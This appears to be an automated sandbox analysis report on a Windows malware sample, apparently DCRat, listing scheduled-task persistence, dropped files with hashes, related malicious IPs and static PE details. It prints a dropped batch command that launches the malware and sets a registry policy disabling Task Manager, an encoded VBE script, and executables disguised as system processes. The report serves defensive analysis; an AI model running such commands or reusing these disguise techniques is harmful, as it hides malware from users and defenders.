              • Report size exceeded maximum capacity and may have missing behavior information.
              • Report size exceeded maximum capacity and may have missing disassembly code.
              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
              • Report size getting too big, too many NtOpenKeyEx calls found.
              • Report size getting too big, too many NtProtectVirtualMemory calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.

              Simulations

              Behavior and APIs

              TimeTypeDescription
              02:02:03API Interceptor5x Sleep call for process: backgroundTaskHost.exe modified
              08:02:01Task SchedulerRun new task: backgroundTaskHost path: "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe"
              08:02:02Task SchedulerRun new task: backgroundTaskHostb path: "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe"
              08:02:02Task SchedulerRun new task: wHkwzSlnBiGJprfYEurbfsdoSvkj path: "C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe"
              08:02:02Task SchedulerRun new task: wHkwzSlnBiGJprfYEurbfsdoSvkjw path: "C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe"
              08:02:03Task SchedulerRun new task: winlogon path: "C:\Users\Default\Videos\winlogon.exe"
              08:02:03Task SchedulerRun new task: winlogonw path: "C:\Users\Default\Videos\winlogon.exe"

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              5.101.153.48c5uqDb5MlY.exeGet hashmaliciousDCRatBrowse

                Domains

                ⊘No context

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                BEGET-ASRUt8xf0Y1ovi.exeGet hashmaliciousDCRatBrowse
                • 185.50.25.59
                AYUGPPBj0x.exeGet hashmaliciousDCRatBrowse
                • 5.101.153.173
                file.exeGet hashmaliciousAmadey, XmrigBrowse
                • 87.236.16.19
                file.exeGet hashmaliciousXmrigBrowse
                • 87.236.16.19
                file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                • 87.236.16.19
                oVN3Ocz6yr.exeGet hashmaliciousDCRatBrowse
                • 5.101.152.4
                hB5udQ0swC.exeGet hashmaliciousDCRatBrowse
                • 5.101.152.4
                c5uqDb5MlY.exeGet hashmaliciousDCRatBrowse
                • 5.101.153.48
                2RM12KtuNp.exeGet hashmaliciousDCRatBrowse
                • 5.101.153.173
                6TCmDl2rFY.exeGet hashmaliciousDCRatBrowse
                • 5.101.153.173

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat

                Download File
                Process:C:\Users\user\Desktop\GNUCXbYadp.exe
                File Type:ASCII text, with no line terminators
                Category:dropped
                Size (bytes):162
                Entropy (8bit):4.986711262563145
                Encrypted:false
                SSDEEP:3:I5XU6zuRJAVeWDFQNBZwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:IniOolTStuH1jhRiI36BY
                MD5:30CA6FE561A5EFD9A1F56BBB4CFD2EC0
                SHA1:8C6D786D854487EB43F2BA5C48F739AD565B398E
                SHA-256:D749A9500ABF1E22AF57EF9BC10B7E30F599067DFFB7152E03C67EB70A1F6E2B
                SHA-512:85FF52E77CD3E6C2E329D4B921905865484C62DCB8D53BA97D8E04972E78934648B2FE51890FF949436A2AFBABBE74C4E65E1D28A51CDCB2620429C7F481018A
                Malicious:false
                Preview:"C:\BrowserreviewSavesruntimeperf\Blockreview.exe" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

                C:\BrowserreviewSavesruntimeperf\4d6262aff75313

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:ASCII text, with no line terminators
                Category:dropped
                Size (bytes):221
                Entropy (8bit):5.764937840995418
                Encrypted:false
                SSDEEP:6:CmNi0ta0ihzxt23sUlVVy2N5e40REUudKh:dw0YpQzzVywkcK
                MD5:8342F94A8FA77756ED20A1E9727FEFC0
                SHA1:366CFD51E3B392FED2AF88C2D915DB4B70D1EFCB
                SHA-256:B70CD7FE00AD72CEE0628FD74CE8897F86AD5E7DE957D0A33239582EA795F3D4
                SHA-512:A87B764459A2861864C528791D3B04035D9F9BE1456E76529C4EA65393B5C738A3731D5CF4E816573026BBA4F09447779C6DE93072253B54AA5B3B0B18206A71
                Malicious:false
                Preview:v8HlHCxd5trxGQz7cOd5MfqOMUJ9ww4YVzclJm4VDgUuTGSSQKT0rdAPS2Yw3xqIzScQxOx0UH1pL55GB0tmdDr1yNTRNHbP0L5AnBfCWcgkmVDX6SuDEEpvllbk4gnMqlzA94dAUqPAhGPdJ5U5WYLvfKZBj5H0zT3AgDXCyusXypNeV8b8Mr0SaDfzfbaZiZKONP7FiSGmpx6z65qldIoHclkci

                C:\BrowserreviewSavesruntimeperf\Blockreview.exe

                Download File
                Process:C:\Users\user\Desktop\GNUCXbYadp.exe
                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                Category:dropped
                Size (bytes):1676288
                Entropy (8bit):7.330326637001749
                Encrypted:false
                SSDEEP:24576:4KAMIdM0pkY0eOqKZNQ6FNaISB3ArdLFhASMNusyqKUl0AaQ6ZzsXXkvjMlvQrRu:4KxSrOw6FNapB0LFyYsyqX96ZU8jMWg
                MD5:3298254972DFD7E76172F9D3A7675B27
                SHA1:569946A908E6A9CFA0A3FAA28996D886B749E4EB
                SHA-256:719C6747522525B61A364A3D62E5777C9F8715DC8654BFD082E7928E4DB39188
                SHA-512:8200AF5528DCC1F4B6EDDB13540F03BA9D142FC6EF779C94CA1D59FBCB2ED3021638C7B6CC7F865C75C8DD3FE8EF652291B91C9044F3C6B9E57F9FAD1C99271D
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                • Antivirus: Joe Sandbox ML, Detection: 100%
                • Antivirus: ReversingLabs, Detection: 81%
                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................Z...6......>x... ........@.. ....................................@..................................w..K.................................................................................... ............... ..H............text...DX... ...Z.................. ..`.sdata.../.......0...^..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe

                Download File
                Process:C:\Users\user\Desktop\GNUCXbYadp.exe
                File Type:data
                Category:dropped
                Size (bytes):231
                Entropy (8bit):5.798564857698786
                Encrypted:false
                SSDEEP:6:GlvwqK+NkLzWbHZEG8nZNDd3RL1wQJRny1LL2Fmn9O6:Gl2MCzWL6G4d3XBJ9y5L2w9O6
                MD5:01218ABF206810B6E271415D154B23F4
                SHA1:4CA645974BCD3F9BAAF6DBF9073E82717494E7FE
                SHA-256:5631E2C439FE88993FC8A5ACE15A447AFC23C6F9412FA5E48FC78E96AA14699B
                SHA-512:CAEBAA06E1236FE479B49860A57E065FF70CE876B86FE254BAC8912C1F1B2BE5022A21C59B45148CFA2B8388C0F4F22655EBD36FB13DF1221443DE3BACCE48D8
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                Preview:#@~^zgAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v&T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJA.Khk+DM+7r+S?C\./.;.Yksnw.D0J*/r.31;LSCh.GVnleCGGs*7L. 8mYE~,TBPWmVk+SkMAAA==^#~@.

                C:\BrowserreviewSavesruntimeperf\file.vbs

                Download File
                Process:C:\Users\user\Desktop\GNUCXbYadp.exe
                File Type:ASCII text, with no line terminators
                Category:dropped
                Size (bytes):34
                Entropy (8bit):4.124083797069061
                Encrypted:false
                SSDEEP:3:LlzRWDNMSdn:PWbn
                MD5:677CC4360477C72CB0CE00406A949C61
                SHA1:B679E8C3427F6C5FC47C8AC46CD0E56C9424DE05
                SHA-256:F1CCCB5AE4AA51D293BD3C7D2A1A04CB7847D22C5DB8E05AC64E9A6D7455AA0B
                SHA-512:7CFE2CC92F9E659F0A15A295624D611B3363BD01EB5BCF9BC7681EA9B70B0564D192D570D294657C8DC2C93497FA3B4526C975A9BF35D69617C31D9936573C6A
                Malicious:false
                Preview:MsgBox "TestDefault, Message!", 64

                C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                Category:dropped
                Size (bytes):1676288
                Entropy (8bit):7.330326637001749
                Encrypted:false
                SSDEEP:24576:4KAMIdM0pkY0eOqKZNQ6FNaISB3ArdLFhASMNusyqKUl0AaQ6ZzsXXkvjMlvQrRu:4KxSrOw6FNapB0LFyYsyqX96ZU8jMWg
                MD5:3298254972DFD7E76172F9D3A7675B27
                SHA1:569946A908E6A9CFA0A3FAA28996D886B749E4EB
                SHA-256:719C6747522525B61A364A3D62E5777C9F8715DC8654BFD082E7928E4DB39188
                SHA-512:8200AF5528DCC1F4B6EDDB13540F03BA9D142FC6EF779C94CA1D59FBCB2ED3021638C7B6CC7F865C75C8DD3FE8EF652291B91C9044F3C6B9E57F9FAD1C99271D
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                • Antivirus: Joe Sandbox ML, Detection: 100%
                • Antivirus: ReversingLabs, Detection: 81%
                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................Z...6......>x... ........@.. ....................................@..................................w..K.................................................................................... ............... ..H............text...DX... ...Z.................. ..`.sdata.../.......0...^..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                Category:dropped
                Size (bytes):1676288
                Entropy (8bit):7.330326637001749
                Encrypted:false
                SSDEEP:24576:4KAMIdM0pkY0eOqKZNQ6FNaISB3ArdLFhASMNusyqKUl0AaQ6ZzsXXkvjMlvQrRu:4KxSrOw6FNapB0LFyYsyqX96ZU8jMWg
                MD5:3298254972DFD7E76172F9D3A7675B27
                SHA1:569946A908E6A9CFA0A3FAA28996D886B749E4EB
                SHA-256:719C6747522525B61A364A3D62E5777C9F8715DC8654BFD082E7928E4DB39188
                SHA-512:8200AF5528DCC1F4B6EDDB13540F03BA9D142FC6EF779C94CA1D59FBCB2ED3021638C7B6CC7F865C75C8DD3FE8EF652291B91C9044F3C6B9E57F9FAD1C99271D
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                • Antivirus: Joe Sandbox ML, Detection: 100%
                • Antivirus: ReversingLabs, Detection: 81%
                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................Z...6......>x... ........@.. ....................................@..................................w..K.................................................................................... ............... ..H............text...DX... ...Z.................. ..`.sdata.../.......0...^..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\eddb19405b7ce1

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:ASCII text, with no line terminators
                Category:dropped
                Size (bytes):29
                Entropy (8bit):4.237291339955158
                Encrypted:false
                SSDEEP:3:9z0Pc6hFIR2y8:9z0Pc6hFs21
                MD5:65206D5127154CA8EB16ABFA3452A1DA
                SHA1:B2F26A7BB3B3D4CB0A4BFCD0AC099D79A581F163
                SHA-256:AF85BBD007009D8C3A79B8FE2B5568C94F4B40E53EB1637791881697C71B9B91
                SHA-512:C10C06673BA1BD2A5BB6904F5E227020604D29A70799311F855DC300FAAC61CF9C96D0F7337EDE2C1CBAF706647A284A25A2CF4706396E116B62F6F16B833EDE
                Malicious:false
                Preview:Va3lOmmGp3jvz5avDvloehAvtSW9h

                C:\Users\Default\Videos\cc11b995f2a76d

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:ASCII text, with very long lines (363), with no line terminators
                Category:dropped
                Size (bytes):363
                Entropy (8bit):5.868223984154469
                Encrypted:false
                SSDEEP:6:BJLFklXPSOWU2ihPTOzObxt02PDaSBH8dJTZ9Bbi4O5wqIMzdd6ePwdeGA4drTT:/L+JD2+CKbwnOMJTZ9rqrK0wLdr3
                MD5:A3012C0F111C964A88E3B54C84935C5C
                SHA1:00D271C22F8DFA0C93F2670A05E072FD720153B0
                SHA-256:6241C3F109B9DAB140B4A3B44CB149EF0A73B4696508680160E4DE38A3CA1218
                SHA-512:7DD10EB0CAF845659242923F1E748F78569FE6DE27097F33F7028C6A3A8BB40ECBD6A48CE7220D61D4AFC582D39805234DC2D3DFBB2AA11FA5A5B72B6092DC03
                Malicious:false
                Preview:3o6ldXYobNpbgxaI15QniU55MPxrAhhmrIoVyIy8k33u8HDURloTsUxisBZOkqn4pDuYJETtGSDpaL7FMcZY2O3XVFmxskY3Q9E4WpKNS4MaRHIhDTBHQOBbJXDEcgAf4JZbHCshRMG7BdFN7FtZjQmB7mu8lGuv3rfHsrZAle0EHDapRzGWxl6ogXdeSt5KbVEU88fQpsxEZi44MErwAY7Su1lUN5s1jpmv9FrTU0rEx1O8diSNCIKDXwjGXKCuA6ft6I4GWXcJq3e2mm1omeyafiYNfl6Jx6E1WeBUnL0oqAWeRrduTXHfHFOXurkvbSVuymgIkgBbnKteL35yHL0azjtQPok6kFMYomqpLVJ

                C:\Users\Default\Videos\winlogon.exe

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                Category:dropped
                Size (bytes):1676288
                Entropy (8bit):7.330326637001749
                Encrypted:false
                SSDEEP:24576:4KAMIdM0pkY0eOqKZNQ6FNaISB3ArdLFhASMNusyqKUl0AaQ6ZzsXXkvjMlvQrRu:4KxSrOw6FNapB0LFyYsyqX96ZU8jMWg
                MD5:3298254972DFD7E76172F9D3A7675B27
                SHA1:569946A908E6A9CFA0A3FAA28996D886B749E4EB
                SHA-256:719C6747522525B61A364A3D62E5777C9F8715DC8654BFD082E7928E4DB39188
                SHA-512:8200AF5528DCC1F4B6EDDB13540F03BA9D142FC6EF779C94CA1D59FBCB2ED3021638C7B6CC7F865C75C8DD3FE8EF652291B91C9044F3C6B9E57F9FAD1C99271D
                Malicious:true
                Antivirus:
                • Antivirus: Avira, Detection: 100%
                • Antivirus: Joe Sandbox ML, Detection: 100%
                • Antivirus: ReversingLabs, Detection: 81%
                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................Z...6......>x... ........@.. ....................................@..................................w..K.................................................................................... ............... ..H............text...DX... ...Z.................. ..`.sdata.../.......0...^..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Blockreview.exe.log

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\Blockreview.exe
                File Type:ASCII text, with CRLF line terminators
                Category:dropped
                Size (bytes):1915
                Entropy (8bit):5.363869398054153
                Encrypted:false
                SSDEEP:48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpvJHVHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpB1Gq2
                MD5:5D3E8414C47C0F4A064FA0043789EC3E
                SHA1:CF7FC44D13EA93E644AC81C5FE61D6C8EDFA41B0
                SHA-256:4FDFF52E159C9D420E13E429CCD2B40025A0110AD84DC357BE17E21654BEEBC7
                SHA-512:74D567BBBA09EDF55D2422653F6647DCFBA8EF6CA0D4DBEBD91E3CA9B3A278C99FA52832EDF823F293C416053727D0CF15F878EC1278E62524DA1513DA4AC6AF
                Malicious:false
                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\backgroundTaskHost.exe.log

                Download File
                Process:C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe
                File Type:ASCII text, with CRLF line terminators
                Category:dropped
                Size (bytes):1673
                Entropy (8bit):5.358592927981826
                Encrypted:false
                SSDEEP:48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpvJHVHj:iq+wmj0qCYqGSI6oPtzHeqKkhtpB1D
                MD5:F291C90FAC67ABE67847C0904F5FF473
                SHA1:62116C0BF75FB9983D24B6E8D4BBA1A46272BD68
                SHA-256:7B7D839D62C6ACC64FEA99510F7C9BD1D71008DC7573ECE96474BC24F5876D1F
                SHA-512:B99CA9739B59E679B00777DD0C2F77CB0258F79959D0B99BA10139B6C3C3D692859196101BCFC1919933F083153AA2D72976E514F725F909CA2EDD2397C05F9A
                Malicious:false
                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

                C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe.log

                Download File
                Process:C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe
                File Type:CSV text
                Category:dropped
                Size (bytes):1281
                Entropy (8bit):5.370111951859942
                Encrypted:false
                SSDEEP:24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
                MD5:12C61586CD59AA6F2A21DF30501F71BD
                SHA1:E6B279DC134544867C868E3FF3C267A06CE340C7
                SHA-256:EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
                SHA-512:B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
                Malicious:false
                Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

                Static File Info

                General

                File type:PE32 executable (GUI) Intel 80386, for MS Windows
                Entropy (8bit):7.285246956935196
                TrID:
                • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                • Win32 Executable (generic) a (10002005/4) 49.97%
                • Generic Win/DOS Executable (2004/3) 0.01%
                • DOS Executable Generic (2002/1) 0.01%
                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                File name:GNUCXbYadp.exe
                File size:1'993'612 bytes
                MD5:4cc23344d26c44260cb52028cff992b7
                SHA1:7f2b7a02ae3f65c6757f134a79c302a92e31311c
                SHA256:4c6650813906ced18f7564f906ea5a033a206cb2c71f244e0d28a04e3f2d7609
                SHA512:71e7ced9568ede15e9a9fe6edbd7ed77559f9046e8fc77ce83bb3fd464c61794ba719451774b2c02f30abc80a51f3563a1491a74d7f390d8152cd0b3b2928c45
                SSDEEP:49152:UbA30IKxSrOw6FNapB0LFyYsyqX96ZU8jMWg3:UberOGpaMYducjM3
                TLSH:3795AE017E85CA11F0191633C2EF454847B4AC512BA7E72B7EBA3B6E55123A37C1CADB
                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

                File Icon

                Icon Hash:1515d4d4442f2d2d

                Static PE Info

                General

                Entrypoint:0x41ec40
                Entrypoint Section:.text
                Digitally signed:false
                Imagebase:0x400000
                Subsystem:windows gui
                Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                Time Stamp:0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
                TLS Callbacks:
                CLR (.Net) Version:
                OS Version Major:5
                OS Version Minor:1
                File Version Major:5
                File Version Minor:1
                Subsystem Version Major:5
                Subsystem Version Minor:1
                Import Hash:fcf1390e9ce472c7270447fc5c61a0c1

                Entrypoint Preview

                Instruction
                call 00007EFF091D3D19h
                jmp 00007EFF091D372Dh
                cmp ecx, dword ptr [0043E668h]
                jne 00007EFF091D38A5h
                ret
                jmp 00007EFF091D3E9Eh
                int3
                int3
                int3
                int3
                int3
                push ebp
                mov ebp, esp
                push esi
                push dword ptr [ebp+08h]
                mov esi, ecx
                call 00007EFF091C6637h
                mov dword ptr [esi], 00435580h
                mov eax, esi
                pop esi
                pop ebp
                retn 0004h
                and dword ptr [ecx+04h], 00000000h
                mov eax, ecx
                and dword ptr [ecx+08h], 00000000h
                mov dword ptr [ecx+04h], 00435588h
                mov dword ptr [ecx], 00435580h
                ret
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                lea eax, dword ptr [ecx+04h]
                mov dword ptr [ecx], 00435568h
                push eax
                call 00007EFF091D6A3Dh
                pop ecx
                ret
                push ebp
                mov ebp, esp
                sub esp, 0Ch
                lea ecx, dword ptr [ebp-0Ch]
                call 00007EFF091C65CEh
                push 0043B704h
                lea eax, dword ptr [ebp-0Ch]
                push eax
                call 00007EFF091D6152h
                int3
                push ebp
                mov ebp, esp
                sub esp, 0Ch
                lea ecx, dword ptr [ebp-0Ch]
                call 00007EFF091D3844h
                push 0043B91Ch
                lea eax, dword ptr [ebp-0Ch]
                push eax
                call 00007EFF091D6135h
                int3
                jmp 00007EFF091D8183h
                jmp dword ptr [00433260h]
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                int3
                push 00421EB0h
                push dword ptr fs:[00000000h]

                Rich Headers

                Programming Language:
                • [ C ] VS2008 SP1 build 30729
                • [IMP] VS2008 SP1 build 30729
                • [C++] VS2015 UPD3.1 build 24215
                • [EXP] VS2015 UPD3.1 build 24215
                • [RES] VS2015 UPD3 build 24213
                • [LNK] VS2015 UPD3.1 build 24215

                Data Directories

                NameVirtual AddressVirtual Size Is in Section
                IMAGE_DIRECTORY_ENTRY_EXPORT0x3c8200x34.rdata
                IMAGE_DIRECTORY_ENTRY_IMPORT0x3c8540x3c.rdata
                IMAGE_DIRECTORY_ENTRY_RESOURCE0x630000xdfd0.rsrc
                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                IMAGE_DIRECTORY_ENTRY_BASERELOC0x710000x2268.reloc
                IMAGE_DIRECTORY_ENTRY_DEBUG0x3aac00x54.rdata
                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x355080x40.rdata
                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                IMAGE_DIRECTORY_ENTRY_IAT0x330000x260.rdata
                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x3bdc40x120.rdata
                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                Sections

                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                .text0x10000x310ea0x31200c5bf61bbedb6ad471e9dc6266398e965False0.583959526081425data6.708075396341128IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                .rdata0x330000xa6120xa8007980b588d5b28128a2f3c36cabe2ce98False0.45284598214285715data5.221742709250668IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                .data0x3e0000x237280x1000201530c9e56f172adf2473053298d48fFalse0.36767578125data3.7088186669877685IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                .didat0x620000x1880x200c5d41d8f254f69e567595ab94266cfdcFalse0.4453125data3.2982538067961342IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                .rsrc0x630000xdfd00xe000f6c0f34fae6331b50a7ad2efc4bfefdbFalse0.6370326450892857data6.6367506404157535IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                .reloc0x710000x22680x2400c7a942b723cb29d9c02f7c611b544b50False0.7681206597222222data6.5548620101740545IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                Resources

                NameRVASizeTypeLanguageCountryZLIB Complexity
                PNG0x636500xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
                PNG0x641980x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
                RT_ICON0x657480x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.47832369942196534
                RT_ICON0x65cb00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.5410649819494585
                RT_ICON0x665580xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.4933368869936034
                RT_ICON0x674000x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/mEnglishUnited States0.5390070921985816
                RT_ICON0x678680x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/mEnglishUnited States0.41393058161350843
                RT_ICON0x689100x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/mEnglishUnited States0.3479253112033195
                RT_ICON0x6aeb80x3d71PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9809269502193401
                RT_DIALOG0x6f5880x286dataEnglishUnited States0.5092879256965944
